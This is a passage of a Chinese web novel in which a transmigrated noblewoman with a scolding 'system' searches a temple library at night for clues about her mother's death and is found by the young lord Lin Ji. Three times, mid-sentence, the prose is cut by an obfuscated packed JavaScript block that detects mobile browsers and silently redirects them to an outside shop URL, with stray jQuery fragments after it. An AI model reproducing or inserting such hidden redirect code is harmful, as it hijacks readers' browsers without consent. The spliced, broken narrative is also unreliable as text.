不知是过了几秒,不远处的地方一个带着不耐烦的抱怨声响起:“......怎么掉下来这么多!哪里来的老鼠,竟给人找活。这净言师兄也真是的,偏要查些什么前朝旧例,大半夜的折腾人......”
另一个人呵呵低笑,声音显得略浑厚些:“师兄莫恼,左右不过走一遭的事儿。咱们过去看几眼,净言师兄若是问起就说东西太多太杂,要多些人手。”
竹曳抬头,那声音和灯似乎就在不远处徘徊,甚至有光晕透过书架缝隙,向她们的方向传来,她下意识将自己的身子往里缩。
等到来找东西的僧人注意力都被捡东西吸引走,竹曳才拉起被吓傻的文心,捏了捏发麻没知觉的腿,猫着腰,踮着脚,悄无声息地往门口走去。
果然,那两个僧人是从从侧门进来的,此刻正虚掩着。
她们趁机溜出去,一步不停的跑进桃园。
“小、小姐!”文心跑的上气不接下气,“停一下,咱们先、先歇一会儿......”
她也不顾地上脏乱,直接就瘫坐在地上,声音里带着鼻音和劫后余生的哭腔,声音细弱得像风中蛛丝,“吓死我了小姐,刚刚...差点就被发现了。”
竹曳坐到文心旁边,用力回握文心冰冷汗湿的手,低头大喘气,“太吓人了,幸好没事儿我的天。”
她没有力气再说话,汗水早就干在了脸上,紧绷绷的一点都不舒服。伸了伸有些僵硬的腿,又揉揉因长时间蜷缩而麻木刺痛的腿,靠在树干上,望着天边那弯残月。
过了一会儿,竹曳深吸一口气,双手支着地面站起来,“走吧,咱们先回去。”她对文心说。
两人搀扶着站起来,一路无话,借着月光深一脚浅一脚地往回走。
屋内,一点如豆的灯火还在跳跃着。巧心身子倚着门框,正焦急地等着人回来。直到听到外面门轴转动的声音,她立刻起身,弹跳而起跑到屋外。
见竹曳和文心一前一后地走进来,她拍着胸口迎上去,“小姐!你们可算是回来了,真是急死我了,心都快跳到嗓子眼了!”
直到踏进屋内,关上门,那根一直紧绷着的神经才彻底松弛下来。精神上的疲惫后知后觉的袭来,深夜不好再折腾,三人也顾不上多说话。
竹曳和文心匆匆清理了身子,草草用冷水擦了把脸,便吹灭灯火,瘫倒在床榻之上。
第二天清晨,天色刚刚蒙蒙亮,晨光透过窗纸,在室内投下朦胧柔和的光晕。竹曳是在一阵头重脚轻感中醒来的。
她缓缓睁开眼,额头两侧的像是被无形的什么东西敲打着,发出沉闷的钝痛,眼眶也疼。喉咙发干,鼻腔也有点塞,呼吸的时候带着一股热气。
她试着撑起身子,却感觉浑身都酸软,胳膊没什么力气。
“完了......”竹曳心里咯噔一下,“肯定是昨天晚上吹风了,回来又拿凉水洗了脸擦了脖子......”
竹曳又瘫回床上,拿被子将自己裹成一团。今晚还得去藏书阁呢,若是让文心和巧心知道自己身体不舒服,肯定会千方百计地阻拦,到时候怕是连房门都难出。
绝对不能声张。
她深吸一口气,听见外面传来脚步声,迅速在床上躺好。被子把全身裹起来,竹曳一张略显苍白的小脸冲着床外,看着巧心将一壶刚烧好的热水倒出来。
“小姐,该起来啦,已经快要巳时了。”
“嗯,我再躺一会儿就起。”竹曳小声清清嗓子,“文心呢?她在哪?”
“取饭去了,估计马上就回。”
竹曳松了口气,心下稍安,看来文心没事儿。她在心里偷偷吐槽系统,明明没有病了却还是弱。
【系统提示:宿主竹曳,于过去六个时辰之内,多次经历高强度紧张、焦虑情绪,导致心跳过快,肾上腺素飙升。为强化宿主心理素质及身体素质。现给予惩罚如下:】
【惩罚一:太极拳三遍,八段锦各三遍。】
【惩罚二:抄写《心经》三遍。】
【惩罚三:反思三千字。】
【任务限期:三日。若任务失败,惩罚翻倍哦。另,请宿主不要投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649075|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机取巧哦~】
!什么!?
竹曳腾的一下从床上坐起来,“噗——咳咳咳!”差点被口水呛到,眼泪都快要流出来。
“小姐?小姐你怎么了?”巧心倒了杯水,走过来递给竹曳。
竹曳从被子里伸出一只手,接过来喝掉,“没事没事,我现在想起床了,你去帮我准备一下洗漱的热水好吗?”
“好,”巧心接过杯子,“那我去了,小姐你小心些。”
竹曳看着巧心出去,好不容易顺过气,在心里怒道:“你搞什么鬼!?昨天晚上的事情,为什么现在才说!”
系统的声音竟然带上了一丝丝的委屈。
【宿主昨日归来时身心俱疲,生命体征不平稳,系统处于人道主义关怀,这才暂缓发布惩罚信息,以免对宿主造成第二次打击......】
【系统本是一片好意......再说,再说宿主昨日归来后洗洗就如同东方的睡神一般躺下了,系统哪里张得开嘴。】
竹曳被呛了一下,系统哪里学来的鬼形容。
“好意?”她简直气结,头愈发疼痛,“那你等我好不容易缓过点劲儿,正要干正事儿的时候来这么一下,这叫好意?还一下子发布三个任务,这叫好意?你这叫补刀!”
【......宿主的正事是接着睡懒觉吗?】
“你!”
“反正我不管,你一下子给我发布这么多惩罚我根本就做不完,咳咳...你要是给我减点我就接受。”
【系统:......】沉默了片刻,系统才重新用它那平板无波的声音接着说。
【系统惩罚任务变更:惩罚任务二,变为抄写《心经》一遍。任务一、三不变,请宿主于三日内完成。】
话音刚落,面前虚空中的控制面板上就列出了三项任务。
竹曳没想到还真能改,她的小心思得逞,笑眯眯地走下床穿衣服。
等到洗漱完毕,文心也刚好拿了饭回来,“小姐,今日去晚了些,有些凉了,等我热一下。”
“噢,好。”
竹曳寻了件衣服当披风裹着,当又把之前所有大夫给她开的、还没来得及用的药都翻出来堆在桌子上。她揉了揉发胀的额角,脑中回想着前世学的那些零散中医知识。
风寒初起,邪在肌表,当以辛温解表、驱寒散邪为主。修长的手指在药包里翻着,她记得里面有些常见的草药药性平和,应该可以拿来用。
草木清香淡淡散开,竹曳心中默念。
紫苏:行气和胃,可治感冒风寒、发热、咳嗽、气喘......
桂枝:用于发汗解表、温通经脉、助阳化气...应该是风寒感冒合适吧。
还有几颗枣。
竹曳挑挑拣拣,翻出来一些能用的草药。又分成两部分,一部分用来泡水,一部分准备煎煮。
巧心和文心进来时,竹曳刚把不用的药装起来,又将泡水喝的草药放入壶中。
文心忙问道:“小姐,您这是?”
竹曳不动声色地用袖子掩了掩,“没事儿,昨天晚上不是吹了点风吗?我就挑了点药泡着喝,一会儿你们两个也喝点,小心感染风寒。”
文心道:“诶!可是小姐,您怎么知道哪些药能用,哪些不能用?”
竹曳忘了这回事儿,仔细思索一下,才又道:“久病成医嘛,以往喝了这么多年的药,简单的也了解了些。”
巧心将椅子放好,笑着说道:“小姐聪慧。那么,今日小姐怎么不好好穿衣服?好好的衣服拿来当披风穿着玩。”
竹曳看了看自己的穿着,也笑着回道:“衣服嘛?不就是拿来穿的?那怎么穿也就无所谓了。”
桌上放了碗冒着热气的白粥,几碟小菜,吃完后身子暖洋洋的。
过了一会儿,竹曳将煮好的药取下来,滚烫的水流冲击而下,药材在壶中翻滚,淡淡的黄色液体盛满杯子,一碗汤药下肚,身上顿时松快不少,只是鼻子还是有些塞。
13. 龙椅可还暖和
早饭过后,竹曳前往佛堂诵经,她跪在蒲团上,嘴里随着众人念念有词,心思却早已经飞到了九霄云外。
晨课结束后,她刻意比平日晚了半个时辰才离开,待众人散尽,她才揉着发酸的膝盖慢缓缓站起来,状似悠闲地在寺庙后院庭院间散步。
她一边在脑海中回顾地图,一边仔细辨认地点方位。午前的阳光已经有些灼人,晒的她身上出了点汗,愈发得感觉没什么力气,但是仍然坚持等大部分地方都转过了一遍,才转身回去。
午饭过后已是午时二刻,她现在还不太习惯时间的这种说法,心里换算现在大概还不到一点,就躺到床上小憩了片刻。
身上裹着薄薄的被子,一觉睡醒已经是半个多时辰之后。中午那会儿吃了药,现在又睡了觉,竹曳觉得精神好了很多。
她以要静坐为理由,将文心和巧心打发到外间。
房门一关,竹曳立刻起身打了三套太极拳,结束的时候顿觉鼻子通了不少,心里寻思着以后可以每天都做一遍。接下来就是抄经,字数不算太多,但是毛笔用着实在是没有现代的笔方便,写了一会儿手指都是僵的。
竹曳抱怨狗系统天天就知道罚,一点有用的消息都不透露,不过幸好的是这次惩罚期限是三天,不用过于着急。
在这个时代呆了这么些天整个人都懒了一些,按照以往,她肯定是要一下就将任务都完成的,但是现在却有了不着急这种想法。
慢慢悠悠总算在今天把《心经》抄完,太极拳打完,竹曳留了八段锦明天弄。
她用笔杆轻轻敲着桌子,心里回想着昨天晚上对藏书阁的印象,哪里是她们潜入的通风窗,哪里是主通道,哪里是她们躲藏的书架......她用笔将内部大概结构用简单的线条勾勒出来。
“净言师兄...前朝旧例...”笔尖抵着纸上那个区域的位置,竹曳秀眉微蹙,陷入了沉思,“他们要查的东西,和我要找的到底会不会是同一类?”
这个念头让她心跳微微加速。
但随之而来的是更深的疑惑,他们若是要查,为何不白天的时候光明正大的进去?以僧人的身份,白日进出岂不是更急方便?为什么偏要选择夜深人静的时候再去?
“净言师兄......”竹曳轻声念叨这个名字,突然感觉一股凉意从后背窜上来,她迷茫之中总感觉事情有些不对,但线索太少,又不知从哪捋起,最终只归结为自己多想了。
更多的事情,还得需要今晚再去探一探。
·
烛火摇曳,将藏书阁内无边的寂静衬托得更加深邃。
竹曳转身将巧心拉上来,像前一天晚上那样拉文心到窗子上那样,然后转身轻巧地跳下去。
她们今天很幸运,这扇半开着的窗户依然没有得到其他人的关注,给了竹曳两次潜入的机会。
点燃两根蜡烛,竹曳又顺了两根别在腰上,两人仔细辨认着方向往前走。
“小姐——,今天真的不会有人来吗?”巧心压低了声音说道。
“我也不知道——。”竹曳用同样的音量回复。
“小姐!”巧心急了,“小姐你刚来的路上不是保证今天晚上不会有人来的嘛!”
竹曳满脸无辜,一边找位置一边说道:“那我要是不这样说,你肯定不会让我来。”
她随手抽出来一本书翻看,低声说道:“再说了,这里书卷那么多,咱们不赶紧抓紧时间来找,到时候等回去了找不完怎么办?”
竹曳决定如果巧心再反对她,她就一边捂着巧心的嘴一边找。
“......好吧,那咱们赶紧找,然后快快回去。”巧心妥协了。
她们悄无声息地穿梭在书架之间,有了前一晚的教训,竹曳的动作更为迅速,目标也更为明确。
“就是这附近了,”竹曳深吸一口气,压下心中的激动,“我们分头找,但是不要离的太远。主要找...记录了我母亲去世前后三四年的内容,我猜想,若是她的死并非那么简单,肯定与当时发生的某些事情有关。”
虽然猜测像她母亲这样身份的大概率不会有什么记载。但这两天她仔细想了想系统提醒她的话。如果原主生母不是自杀,那就很有可能是她那位看起来就不好惹的继母做的,不过这个概率也不大,能系统不可能会将这么简单直接的任务交给她。
那么,就只剩下最后一种可能,原主母亲参与到了某个大事件之中,可能挡了谁的路才被杀害。如此这样,现在当务之急就是先了解那些年都发生了哪些事。
竹曳又伸手换了一本书,蜡烛的光照亮的范围有限,那些小字看的她眼睛疼。她忽然怀念起上辈子的互联网来,找东西只需要打几个字搜一搜,真是方便。
要是系统能把互联网搬到这个世界就好了,竹曳胡思乱想。
翻阅的过程枯燥,又需要极大的耐心和眼力。竹曳心里着急,看着在月光下飞舞的灰尘,心里更觉烦闷。她的头又隐隐作痛起来,看一会儿就需要用袖子掩住口鼻,强忍住咳嗽的冲动,憋得眼眶泛红。
“......小姐,你看这个。”巧心将一本看似不起眼的蓝皮册子递过来。
竹曳赶忙借着昏黄的烛光接过来,里面字迹不算工整,间或还有涂改,看起来像是某个人的随手记录。她翻到中间某一页,只见泛黄的纸页上写着:
承安元年,帝冲龄践祚,太后垂帘,摄政王辅国。王亦常自谓谦冲自牧,常曰:“臣惟鞠躬尽瘁,待陛下亲政之日。”
然,凡军国机要、中外章奏,悉由王处分。其令所出,堪比纶音,六部有司,莫不先禀王意而后行。王门下奔走者,渐盘据要津。
至若祭天典礼,本天子之责,今岁亦由王代行,礼部虽有微词,然王威重,莫敢诘也。
竹曳的目光在“悉由王处分”和“祭天典仪......由摄政王代行。”上停留片刻。古代君权神授,祭天应该是天子所独有的,能够与上天沟通的最高权力象征。虽说当时皇帝尚且年幼,可连这个都能代劳,那皇帝手里估计也没有什么权力了。
“哇塞,堪比纶音,摄政王说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671963|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话都跟圣旨一样了,连六部官员都小心对他,那还要皇帝干什么......简直跟总经理直接把董事长架空了一样,权势大的没边了。”竹曳小声和巧心吐槽。
“小姐!小心说话呀!”巧心虽然不懂后面说的是什么意思,但知道直接讨论这些可不安全。
“对对对,我不说了。”竹曳反应过来,顿觉自己刚刚说话不妥,她接着翻看,猜想这应该是谁随手一记,管理人员估计偷了懒,随手一翻就直接放到了这里。
将这“大逆不道”的书册放回原处,竹曳只当做了解一下当朝的背景,并未深入探究。她不敢耽搁,继续将注意力集中在寻找母亲去世那些年前后的记载上。
翻找的过程繁琐而耗时,时间一分一秒的在指尖中悄然流逝,蜡烛快要烧光了,竹曳又续上另一根。
终于,在第二根蜡烛烧到一半的时候,她找到一本专门记载承安六年左右事宜的簿册。关于那生母去世那些年的记载出奇的少,这个时间已经算是近的。内容还大多是关于皇室礼仪、宫廷宴饮的流水账,无比枯燥,翻的竹曳心情大起大落,昏昏欲睡。
她转过头看很久没出动静的巧心,那丫头早已经倚着书架,迷迷糊糊地打起了盹。
就在竹曳想今天到这就结束的时候,几行简短的文字吸引了她的注意力:
......祭器陈列,依永安旧制。摄政王拜位,特设与陛阶之左,与御座今咫尺之隔......礼官虽有疑议,然王威重,帝亦同意,卒从之......
“怎么哪里都有这个摄政王,皇帝竟然还同意了???”竹曳心里疯狂吐槽,手伸得这么长,管东管西的,权这么大还想到哪个位置,他是不是以后连皇帝每天吃几碗饭都要管?这朝堂上下,以后怕不是都跟了他的姓了。
她都能脑补出来一个小皇帝坐在龙椅上,旁边坐着一个摄政王,等皇帝长大了,旁边还是一个摄政王。下面群臣请示政务都一齐看向旁边摄政王的场景了。
虽然看这种东西还是比较有趣的,但这依然与她要找的东西无关。竹曳耐着性子往下翻,又在下面角落看到一段话:
承安五年秋,宁妃与甫出生之九皇子与慈恩寺归宫途中,不幸殁于火海,上甚哀之,辍朝三日,追封贞宁贵妃。
宁妃...于慈恩寺...死于大火?还连同刚出生的孩子?竹曳推算了一下,宁妃是在承安五年去世,原主是在承安六年出生,那么原主生母是在承安八年去世。
几件事情接连发生.......她心头一跳。
——时间混乱,竹曳怕记混,觉得得先记下来理清楚头绪。
等一下,她好像没有带笔?
竹曳抬头,怪不得今天晚上出来的时候总感觉忘带了什么东西,原来是笔......
竹曳看了眼已经睡过去的巧心的,轻手轻脚地站起身,晃了晃发麻的腿,慢慢向外走去。她记得那里有几张书案,上面说不定有纸笔。
然而摸索了一圈,除了一叠空白的纸,竟然连一根笔都没有找到。
14. 吓竹曳一大跳
人不会永远幸运,竹曳连续两次顺利潜入藏书阁,那就得来点霉运中和一下。
没有笔,再多的纸也没有用,无奈之下,竹曳又回到原处,她靠在书架上,闭了闭眼。
今天晚上几乎没有查到太多有用的东西,唯一的收获就是了解到了这个世界的一些背景,八卦了一下摄政王和皇帝,又知道了宁妃的悲剧,这些应该算是有用的吧?毕竟如果以后接着往后查,肯定得提前了解更多的人和事......
头隐隐作痛,她气馁的合上那些被翻开的书,努力平复自己心中那点翻涌的情绪。接着将那些拿来翻看的书小心的放回到原位。
“巧心?巧心?”竹曳弯下腰,晃晃巧心胳膊,“咱们回去了,回去再睡。”
“......小姐,”巧心反应了一会儿,接着慌忙坐起来,“哎呀,我怎么睡着了!”
竹曳笑了一下,“已经很晚了,咱们赶紧走吧。”
两人再次检查了周围,确保没有留下任何痕迹之后,才借着光沿着来路退了出去,融入外面沉沉夜色之中。
今日回去的时间比昨天还要晚些,竹曳让她们两个赶紧去休息,自己却点了个小灯,将今天晚上所了解到的事情按照时间顺序整理成资料,记东西要趁热打铁,明早睡醒再弄估计会忘记些东西。
一边梳理一边思考,结束之后竟然已经快要到寅时。她将记好的纸张仔细的折好,与之前那张地图一起仔细地放在枕头下面,才沉沉睡去。
·
远处偶尔传来几声梆子响,在空寂的山寺里荡出一些回音。竹曳独自一人行走在小路上,渐渐加快脚步。
今晚只有竹曳一个人来,原因是今早醒来之后巧心病了,病来如山倒,她一天没怎么吃得下去饭。
于是竹曳就说今天晚上自己一个人去就可以,巧心躺在床上哼哼唧唧,解释说应该是昨天晚上着了凉,但是自己一个人可以照顾好自己,没有那么虚弱,非要文心陪着竹曳一起。
竹曳肯定是不同意的,她看着嘴巴干干的巧心,坚持让文心留下,态度坚决,甚至搬出主子的身份,才将文心留下。
就这样好说歹说,终于是让文心留下陪着巧心,竹曳自己独自前往藏书阁继续探查。
今日的月亮又圆又大,高高的在天上挂着。她忽然有些恍惚,想起上辈子看月亮,大多都是在深夜下班之后,一个人背着包,拎着沉重的电脑,在自己住所的楼下仓促看那么两眼。那时常是孤零零的一轮月挂在天上,灰蒙蒙的,大多时候都不是很好看,没有让人欣赏的冲动。
此刻举头,却是见漫天的星辰拱卫着一轮圆满的月亮。好看,但是也没有让她停下来欣赏一会儿的冲动。脑子里唯一的念头就是,不知道这个月亮和上辈子自己看得是不是一个......行路匆匆间,也算是能体会一下“今月亦曾照故人”的惘然。
这是她连续第三个夜晚来到此处,暖黄色的光映在清丽的脸上,这一次,纸笔都准备齐全。
竹曳罩着暗色比甲,找到昨天查到的那个位置,接着查探。
·
与此同时,慈恩寺库房外。
万籁俱寂,夜色如墨,连虫鸣都变得稀疏。
沉重的木门被无声地推开一道缝隙,两道身影从里面闪出,随即迅速隐没在檐下浓重的阴影里,几乎与黑暗融为一体。
林霁抬手,轻轻拂去衣袖上沾染的一些尘土,动作从容不迫。
“主子,接下来去哪?”手下站在林霁对面问道。
林霁说道:“你先带着找到的东西回府,将消息禀报给父亲和林昀。”
那手下干脆利落地应下,将一小巧的木匣子小心放入怀中,随即又略带迟疑地问道:“主子,您不一同回去?”
林霁略微沉吟,脑海中浮现出林昀前段时间说的话。“我再去一趟藏书阁,你对林昀说,东西不一定能找到。他明白我说的是什么。”
手下不再多问,躬身一礼,随后便如同影子一般融入进夜色之中,悄然消失。
夜色深沉,林霁独自一人,沿着青石板小径不紧不慢地朝着藏书阁走去。夜色微凉,拂动他墨色衣袂,增添了几分清冷孤寂。
这条路他很熟悉,多年来走过无数次,此刻他并未多想,只当此时的藏书阁内空无一人,便径直来到藏书阁侧面一扇较为隐蔽的窗前。
年初的时候,他来找东西,偶然发现了这一处。窗棂老旧,他知晓有一处搭扣并不牢固,稍微用点力气便能推开。
林霁身手敏捷,单手一撑窗台,确定内外皆无动静,这才身形微动,悄无声息的翻入室内,动作流畅而敏捷,如同夜行的猎豹那般。
月光透过窗子,照亮一小片区域,林霁躲在暗处前行。他凭借记忆径直向存放风物游记的区域走去,靴底落在积累了一层薄灰的木质地板上,发出几不可闻的细微声响。
然而,就在他快要接近目标书架之时,脚步却猛地顿住,身形迅速闪到一边,呼吸放轻躲在书架之后。
有人?
借着书架间隙,他清晰地看到,就在他要去的那片地方,竟然蜷缩坐着一个人影!
那人背靠架子,身边立着一盏小灯和一根点燃的蜡烛,小灯周围躺着几根完成蜡烛,另外还有些蜡烛头。素色衣裙摊在地上,衣角被几本书压住。
如墨一般的长发披散而下,顺着肩膀垂落在地。她正埋首于一本摊开的厚重书册中,看得极为专注。从林霁的角度里,可以看到她时而皱眉,时而拿笔在纸上胡乱记着什么。
待看清那人的侧脸轮廓,林霁的瞳孔微微一缩。
竹家大小姐?
怎么会是她?深更半夜,为何会独自出现在这里?
林霁皱眉,心中充满疑问。他立刻想起前些日子,他奉父亲的命,与林昀和林叔前往竹曳府,那次他们名为拜访竹大人,实则有意探听某些口风。
当时在大厅遇到这位竹大小姐,她表现的一副弱不禁风的样子,连走动都要被丫鬟搀扶着,说话气若游丝。那时林昀对他说,偶然一日,林昀发现他从幼时就佩戴的玉佩之中藏着一张字条,上面用极小的字写了些有关摄政王的事情,还提到了另一个名字——沈兰芝。
沈兰芝早已去世,她唯一的女儿竹曳,一直在深闺之中,鲜少露面。
那次他有意试探,叫陈用拿了个香囊去试探竹曳,想知道沈兰芝在去世之前是否留下些什么,只可惜,竹曳对此并未作出反应。
甚至后来两人再次见面,竹曳也未提到此事......
回想在最近的几次交锋之中,林霁已能判断出她的病弱样子是在伪装。此刻,她又深夜一人在藏书阁内翻阅东西......
难道那天竹文渊所言为虚?可若是如此,竹文渊为什么会让竹曳来找东西,她一看就不像是对查探很熟悉的样子,破绽百出,马脚太多,甚至连装病都没有装好。
看来还需静观其变,林霁心想......
此时竹曳正看到一段关于承安念漕运改道的枯燥记载,长时间保持着低头的姿势,脖颈酸涩难忍,她下意识地抬头,想要活动一下僵硬的脖子。
这一抬头,目光便自然地落在了地板上那片多出来的,明显不属于自己和书架的影子上。
显然,那是一道人影。
有人!
这个意识如同一盆冰水从头顶浇下来,冷汗和念头一起升起,竹曳全身瞬间僵住,倒吸一口气,心脏几乎停跳,一股气“轰”的一下直冲头顶,耳边嗡嗡作响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684148|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那一瞬间,竹曳脑子里被各种乱七八糟的想法充斥着,其中最明显的就是——完了,真的被发现了。
【警告!!!警告!!!警告!!!】
系统的警告的尖锐声音和心脏重新砰砰跳的声音一起响起。
【系统警告:检测到宿主心率瞬间超过危险阈值,肾上腺素飙升,为保护宿主比施加惩罚。本系统将立即执行强制措施——原地晕倒,即刻生效!】
竹曳甚至来不及做出任何反应,只觉得眼前一黑,所有的知觉瞬间消散,身子一软,便彻底失去了意识歪倒在地,手中拿着的书册也“啪”地一声落在了身旁。
蜡烛被打翻,竹曳的手腕压上去,火苗随即熄灭。
林霁在竹曳抬头顺着影子看过来的那一刻就心道不好,正懊恼自己不该犯这种小错误,就眼见着竹曳扭身看过来的脸上血色瞬间退尽,苍白无比,随即竟然双眼一闭,直接软倒在地上。
他不由得一愣。
“......这是...吓晕了?”
他立刻从书架后走出,快步来到竹曳身边,蹲下身。只见她双眼紧闭,长睫贴着眼下的皮肤。他犹豫了一下,最终还是伸出指尖,轻轻探了探她的鼻息。
温热的呼吸拂过指尖,证明人还活着。
当真是被吓晕了......
林霁稍微松了口气,但下一刻心中又升起一种莫名的情绪,自己这般窥探,竟然将她吓晕过去,虽然事出有因......但,但实在是非君子所为......
面前的事情实在是十分棘手。扶她起来?孤男寡女,似乎是不太妥。那放任她躺在冰冷的地上?似乎也不太合适。
林霁沉吟片刻,决定暂且先守在一旁,他伸手隔着衣物捏住竹曳的胳膊,将她挪到一旁。目光落到垂下去的手腕处,那里红了一片。林霁看到旁边熄灭的蜡烛,心下了然,想必是刚刚手直接砸到了燃着的蜡烛上。
林霁将竹曳安顿好之后便寻起自己想要找的东西,那书中的文字进入了眼睛,却未进到脑子里。过了一会儿,林霁还是从怀中掏出一小巧的盒子来,走到竹曳身旁蹲下。
动作轻柔的将竹曳的手腕拖起,打开盖子,用指腹剜出少许药膏,细细的将药膏抹在手腕处。
这盒子药膏是陈大夫做的,这段时间林霁经常需要在外奔走。陈大夫怕林霁受伤,不好伪装病弱公子的身份,便耗费好些时日和心血做了这么一盒。
陈大夫医术了得,这药膏跌打损伤、刀伤烫伤全都能治。林霁身手不错,只偶尔受些小伤,那必然是不屑用上这种东西了。以至于这药膏虽随身揣着,但却从未用过。
直至今日。
乳白色的药被挖出来一坨,淡红色的痕迹被完全覆盖住,林霁将竹曳的手横放在她的腹部支着,这才起身接着去找自己要的东西。
林霁费了好些时间,仍未找到自己想要找到的东西,他将略乱的书页抚平,整齐摆好。想要起身离开,却见此时竹曳还未醒过来。
他不能将她独留在这里。
林霁将竹曳方才翻阅的那几本书拿起来。
《永安旧档》、《承安纪事》
他心中一动,看向竹曳,看向竹曳的眼神深了几分,她看得东西,和自己要找的东西,时间上竟然能对得上,他心里猜测着竹曳看这种东西做什么,难道也是在查探?
时间一点点流逝,估摸着已经过了一个多时辰,地上的竹曳依旧没有丝毫苏醒的迹象,呼吸平稳有力。
林霁眉头越皱越紧,觉得竹曳晕的似乎有些太久了,简直不合常理。
此地不宜久留,若是等到天亮,僧人开始洒扫,或是其他人来到藏书阁,发现他与昏迷的竹家大小姐在此,那才是真的麻烦。
15. 脉象成迷就不告诉你
不能再等下去了。
林霁倏然站起身,高大的身影笼罩住竹曳。他环顾四周,思忖片刻,最终做出了一个决定。他动作不算温柔的将处在昏迷之中的竹曳扶起。
由于以往常年病弱,竹曳的身体瘦弱轻盈,但林霁还是略显笨拙地将她扛在了自己一边肩膀上。
这是他眼下所能想到的最“稳妥”且便于行动的“搬运”方式。
林霁再次悄无声息地翻出窗外,融入沉沉夜色之中。
行至竹曳客居的院落之外,林霁停住脚步,犹豫片刻,还是直接朝自己所居院落走去。
他的院子陈设极为简单,一桌一椅一榻,榻上是硬板床,尽显主任的朴素。他小心将竹曳安置在自己的榻上,看着那张苍白的脸陷在素色的枕头里,乌黑的长发披散开,与周围略显简陋的环境格格不入。
略一思忖,林霁转身掩门而出,不久,一长胡子长者便跟着进来。
来人是张大夫,几日不见,胡子更白了些。他坐在塌边的凳子上,手指搭在竹曳的手腕之上。来的路上林霁已将情况说明,张大夫猜测可能是体弱再加上受惊,身体一时承受不住,便晕了过去。
室内一片寂静,偶有烛火爆开的轻微噼啪声,张大夫凝神片刻,眉毛微微一动。
“如何?”林霁低声问道。
良久,张大夫才缓缓收回手,手捻着胡须,语气中带着一丝不易察觉的古怪。
“主子,这竹小姐的脉象......颇为奇特......”张大夫语气里带着些古怪。
“奇特?”
“脉象先是平稳有力,从容和缓,不像是体虚的样子。但紧接着,又变得孱弱......”他看向林霁,语气加重了些,“属下认为,此中恐有猫腻。”
林霁双臂抱胸审视一般看向竹曳,紧紧皱着眉,心中满是疑虑。
怎会如此?脉象怎么会骤然变化?
这位竹家大小姐,身上果然藏着不为人知的秘密。
“你给她开服汤药,安神的。”林霁道,他心中已有了计较。
“是,属下开一剂安神汤便是。”
待开方完毕,林霁将张大夫到院中谈话,将室内留给竹曳。
张大夫一边听着林霁的问询其它事情,一边向院外望去,他对林霁说道:“主子,那好像是竹小姐身边的丫鬟?”
林霁也看过去,只见一穿着浅碧色丫鬟服饰的身影正鬼鬼祟祟地从院子里走出来——那人正是竹曳的贴身丫鬟文心。此时她步履匆匆,似乎是急着去做什么。
林霁给了张大夫一个眼神,张大夫立刻会意,大步追上那道身影,低声唤道:
“文心姑娘,请留步!”
此时正是深夜,文心本来就因担心自家小姐而心慌着急,被这么一叫更是被吓了一跳,紧紧攥住手中的短木棍向旁边躲去。
“谁!?”
张大夫才反应过来自己刚才的做法似有不妥,立刻停在原地,不再向前,回到:
“老夫是林世子身边的随行大夫,前几日才刚为竹小姐看过病。”
文心反应过来,但心中的害怕并未消失,她强装镇定,问道:“原来是张大夫...张大夫有事?”
“姑娘莫急,姑娘可是在寻竹小姐?老夫与林公子方才途径后山小径,偶然发现你家小姐晕倒在路旁,也不知是劳累过度还是怎的。我家世子心善,便将竹小姐带回施救。老夫已诊过脉,并无大碍只是需要静养,想必再过些时辰便能转醒。”
他话语清晰,将“偶遇”、“救助”的经过说的合情合理,就连帮助救治的原因也是因为心善。
文心听了这话,脑子里只剩下你家小姐晕倒了,现在在我这,其余全未注意。
“我家小姐怎么了!?她怎么会在你那!会晕倒在路边!?”文心脑子里轰的一声,这套说辞听起来天衣无缝,却与她知道的事实截然相反。
她说着,便要不管不顾地往林霁院子里跑,留下张大夫一个人站在原地。
等进了院,文心看了一眼林霁扶桌轻咳的模样,这时也顾不上那些礼仪,像一阵风似的冲进房中,扑倒在床前。见竹曳依旧双目紧闭,昏迷不醒,顿时慌了神。
眼泪扑簌扑簌往下掉,颤抖着声音叫着小姐小姐。
她心中惊疑不定,转头看着走进来的两人,后知后觉的行了个礼。
林霁手扶着桌子,轻轻咳了两声,脸上适时的露出几分虚弱和疲惫。
“文心姑娘莫要着急,竹小姐并无大碍。”
文心紧紧咬着唇,点了点头。但她自然不会相信这套听起来似乎天衣无缝的说辞,小姐明明说是去.....怎么会晕倒在路边?这眼前这两人大晚上不休息,为何会出现在那处?还偏偏将自家小姐救回来?这巧合太过蹊跷。
但眼下最重要的是小姐的安危,其余事情要等小姐醒来再做打算。看着榻上昏迷不醒的小姐,文心心急如焚。
